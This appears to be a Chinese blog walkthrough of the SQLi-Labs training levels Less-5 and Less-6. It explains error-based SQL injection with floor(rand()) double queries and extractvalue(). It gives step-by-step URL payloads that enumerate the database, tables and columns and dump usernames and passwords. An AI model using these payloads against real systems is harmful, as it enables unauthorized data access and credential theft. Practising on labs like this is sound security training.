SQLi-Labs Less5-Less6

Less-5-GET-Double Injection-Single Quote-String


这里考察的叫“双注入”,也有叫“双查询注入”,顾名思义,注入语句里有两条查询语句。
详细原理:https://www.2cto.com/article/201303/192718.html
输入?id=1'报错
在这里插入图片描述

输入?id=1不再显示用户名和密码了:
在这里插入图片描述
这里要尝试报错注入。
报错注入语句的公式如下:

?id=1’ union select 1,count(*),concat(’~’,(select database()),’~’,floor(rand(0)*2)) a
from information_schema.tables group by a–+

其中,count(*),floor(rand(0)*2),group by缺一不可,并且表内记录要不少于三条。
count()函数计算查询字段的数量,
floor()取不大于这个数的最大整数,
rand()取0~1之间的一个随机数,
这样floor(rand(0)*2)计算得到的值就是0或1;
select database()可以替换成其他想要查询的语句。

查询字段数?id=1' order by 3--+

查数据库名:
?id=1’ union select 1,count(*),concat(’~’,(select database()),’~’,floor(rand(0)*2)) a from information_schema.tables group by a–+
在这里插入图片描述

在查表名之前可以先确定表的数量
?id=1’ union select 1,count(*),concat(’~’,(select count(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),’~’,floor(rand(0)*2)) a from information_schema.tables group by a–+
在这里插入图片描述

显示有4个表。
查表名:
?id=1’ union select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’,floor(rand(0)*2)) a from information_schema.tables group by a–+
在这里插入图片描述

然后更改limit子句,limit 1,1 ,limit 2,1
暴users表的列名,先查询列数,方法同上;然后查询数据值:
?id=1’ union select 1,count(*),concat(’~’,(select concat(username,’~’,password) from security.users limit 0,1),’~’,floor(rand(0)*2)) a from information_schema.tables group by a–+
在这里插入图片描述


Less-6-GET-Double Injection -Double Quotes-String


Less-6和Less-5方法基本相同,只是单引号换成双引号。不过这里换一种报错注入的方式,采用extractvalue()函数实现报错。
extractvalue(目标xml文档,xml路径)
xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写成其他格式就会报错并且返回写入的内容。
输入id=1"报错
在这里插入图片描述
查询数据库
?id=-1" and extractvalue(1,concat(0x5c,(select database()),0x5c))–+
在这里插入图片描述
查数据表数量
?id=-1" and extractvalue(1,concat(0x5c,(select count(table_name) from information_schema.tables where table_schema=‘security’),0x5c))–+
在这里插入图片描述

暴数据表
?id=-1" and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x5c))–+
在这里插入图片描述
暴列名
?id=-1" and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x5c))–+
在这里插入图片描述

暴数据
?id=-1" and extractvalue(1,concat(0x5c,(select concat(username,’~’,password) from security.users limit 1,1),0x5c))–+
在这里插入图片描述


总结

报错注入有多种方式,可以参考 https://www.cnblogs.com/bmjoker/p/8797027.html


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值